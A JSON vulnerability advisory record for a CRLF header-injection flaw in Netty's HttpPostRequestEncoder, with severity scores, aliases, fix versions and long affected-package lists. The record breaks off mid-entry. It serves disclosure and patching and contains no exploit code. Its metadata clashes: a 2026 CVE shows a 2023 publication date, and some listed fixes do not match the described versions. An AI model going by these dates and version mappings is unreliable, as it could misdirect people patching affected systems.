{"id":"CVE-2026-59921","aliases":["CLSA-2026-1787045999","CLSA-2026-1787049848","CLSA-2026-1787271464","CLSA-2026-1787301097","CLSA-2026-1787306632","CLSA-2026-1787309634","CLSA-2026-1787331164","CLSA-2026-1787333890","CLSA-2026-1787383378","CLSA-2026-1787397404","CLSA-2026-1789379074","DEBIAN-CVE-2026-59921","EUVD-2026-50089","GHSA-gcjf-9mgh-3p7g","GHSA-xpw8-rcwv-8f8p","RHLW-2026-99869c1cad4574fc","ROOT-APP-MAVEN-GHSA-xpw8-rcwv-8f8p","SUSE-SU-2026:3482-1","UBUNTU-CVE-2026-59921","openSUSE-SU-2026:11394-1"],"status":"published","title":"Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder","description":"Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\\r\\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.","severity":{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00465,"percentile":0.40776,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-93"],"published":"2023-10-10T22:22:54Z","modified":"2026-11-10T19:58:30Z","fixes":[{"ecosystem":"Maven","package":"io.netty:netty-codec-http","fixed_in":["4.2.16.Final","4.1.136.Final"],"sources":["ghsa","osv"]},{"ecosystem":"Maven","package":"io.netty:netty-codec-http2","fixed_in":["4.1.100.Final"],"sources":["ghsa","osv"]},{"ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-http2","fixed_in":["4.1.97.Final-root.io.1","4.1.97.Final-root.io.2","4.1.97.Final-root.io.3","4.1.97.Final-root.io.4","4.1.97.Final-root.io.5","4.1.97.Final-root.io.6","4.1.97.Final-root.io.7"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.netty:netty-codec-http2","fixed_in":["4.1.97.Final-aikido.7"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Final"},{"fixed":"4.2.16.Final"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.136.Final"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final"}]}]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCa